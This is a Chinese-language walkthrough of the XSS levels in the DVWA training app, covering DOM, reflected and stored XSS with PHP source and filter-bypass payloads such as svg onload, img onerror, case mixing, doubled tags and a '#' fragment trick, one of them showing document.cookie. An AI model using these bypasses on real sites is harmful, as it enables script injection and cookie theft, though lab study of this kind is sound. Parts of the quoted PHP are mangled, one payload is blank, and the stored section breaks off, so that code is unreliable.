XSS概念:通常指黑客通过HTML注入纂改了网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
XSS三种:
反射型xss:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功。
存储型XSS:将用户输入的数据存储在服务器端。用户访问了带有xss得页面代码后,产生安全问题。
DOM XSS:通过修改页面的DOM节点形成的XSS。
XSS(DOM)
DOM型xss不会和后台服务器产生交互,而是通过浏览器的dom树解析。代码流向:前端–>浏览器
1.low
没有任何代码过滤。
payload:
?default=<script>alert('oh')</script>
2.Medium
服务器核心代码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false){
header ("location: ?default=English");
exit;}}?>
这次后端做了限制,前端无变化。
不允许出现script标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过
漏洞利用
1.利用Url截断机制加#号
url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤,构造连接
payload:
2.用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接
之前用过img的方法,这次使用svg的方法来完成。
/dvwa/vulnerabilities/xss_d/?default=<svg onload=alert("xss")>
3.High
服务器核心代码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
这次后端做了限制,前端无变化。
在服务器后端判断,要求default的值必须为select选择菜单中的值default=只允许French,English,German,Spanish这几个字符串,否则会直接跳转到?default=English,这里继续用上面的#符号绕过即可,构造payload
漏洞利用
原理:由于form表单提交的数据需要经过js过滤,所以注释部分的JavaScript代码不会被传到服务器端(也就符合了白名单的要求)从而只在客户端显示。
/dvwa/vulnerabilities/xss_d/?default=English#</option></select><img src=xss onerror=alert(/xss/)>
4.Impossible
服务器核心代码
后端无任何限制,尝试后居然成了如下图情况。
没有任何东西,保护的代码在客户端里。
查看源代码:
English French Spanish German
decodeURL(lang),对lang进行URL解码。而decodeURL(lang)被(lang)替代了。发现我们输入的参数并没有进行URL解码,而我们输入的参数都是经过URL编码的,被直接赋予了option标签,所以不存在XSS漏洞。
XSS(Reflected)
反射型XSS攻击
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击) 恶意代码并没有保存在目标网站,由浏览器解析脚本。
low
<?php
header (“X-XSS-Protection: 0”);
// Is there any input? if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) { // Feedback for end user echo ‘<pre>Hello ‘ . $_GET[ ‘name’ ] . ‘</pre>’; }
?>
只对name参数判断了一下是否为空,没有进行任何过滤和检测,可直接进行输入。
<script>alert('hhh')</script>
一步到位。
medium
<?php
header (“X-XSS-Protection: 0”);
// Is there any input? if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) { // Get input $name = str_replace( ‘
// Feedback for end user
echo "<pre>Hello ${name}</pre>"; }
?>
str_replace(): 用其他字符代替字符串中的一些字符。
medium级别的代码只是在low上增加了对<script>
的过滤,我们可以直接大小写绕过(双写绕过)。
大小写混淆:
输入<ScRipt>alert(/xss/)</script>,成功弹框
双写绕过:
输入<sc<script>ript>alert(/xss/)</script>,成功弹框
输入其他标签:
输入<img src=1 οnerrοr=alert('xss')>,成功弹窗
high
<?php
header (“X-XSS-Protection: 0”);
// Is there any input? if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) { // Get input $name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $_GET[ ‘name’ ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>"; }
?>
**preg_replace()😗*执行一个正则表达式的搜索和替换。
high级别代码使用了正则表达式直接把<script过滤了,*表示一个或多个任意字符,i代表不区分大小写。所以大小写绕过和双写绕过不能用了,所以我们可以采用其他标签进行注入。
这使得双写绕过、大小写混淆绕过(正则表达式中,.*表示贪婪匹配,/i表示不区分大小写)不再有效,所以这里使用的是img标签
这里让弹个cookie吧:
<img src=1 onerror=alert('document.cookie')>
当图片显示错误时,执行alert(),就将我们要的cookie弹出来了。
impossible
`<?php
// Is there any input? if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "
Hello${name}"; }
// Generate Anti-CSRF token generateSessionToken();
?>`
htmlspecialchars(string)😗* 把预定义的字符 "<", ">", "&", ""(双引号)", "'(单引号)" 转换为HTML实体,防止浏览器将其作为HTML元素。
impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。然后再用htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止了我们填入标签。
XSS(Stored)
low
`<?php
if( isset( $_POST[ ‘btnSign’ ] ) ) { // Get input $message = trim( $_POST[ ‘mtxMessage’ ] ); $name = trim( $_POST[ ‘txtName’ ] );
// Sanitize message input
$message =
stripslashes( $message );
GLOBALS["___mysqli_ston"]) && is_object(GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string(GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
GLOBALS["___mysqli_ston"]) && is_object(GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string(GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
message', '$name' );";
GLOBALS["___mysqli_ston"], GLOBALS["___mysqli_ston"])) ? mysqli_error(GLOBALS["___mysqli_ston"]) : ((___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' );
//mysql_close(); }
?>`
555
medium
图一:
对name也进行了更加严格的过滤,无法进行name参数注入,还增加了Anti-CSRF token防止CSRF攻击,完全杜绝了XSS漏洞和CSRF漏洞。